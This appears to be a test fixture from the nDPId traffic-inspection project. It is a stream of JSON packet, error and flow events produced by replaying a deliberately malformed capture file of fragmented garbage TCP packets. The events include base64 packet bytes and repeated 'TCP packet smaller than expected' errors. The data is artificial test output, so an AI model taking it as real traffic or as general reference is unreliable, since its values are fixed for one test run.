-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084029} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084037} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084044} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084056} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084068} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084083} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084095} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084107} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084122} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084134} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084146} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084161} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084173} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031084217} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244031084232} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":6886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244031080090,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAl4lJCMmKihL"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":23,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244031384369,"flow_src_last_pkt_time":1534244031384369,"flow_dst_last_pkt_time":1534244031384369,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244031384369,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18762,"dst_port":18503,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_src_last_pkt_time":1534244031384369,"flow_dst_last_pkt_time":1534244031384369,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAklKSEdGRDIqJkRGR0hKSybhaQAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384408} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384420} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384431} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384442} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384454} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384464} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384475} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384517} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":6895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384529} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384540} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384551} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384561} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384571} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384582} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384597} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384610} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384624} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384637} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384651} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384674} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384688} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384702} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384716} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384729} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384742} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384755} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031384369,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031384767} 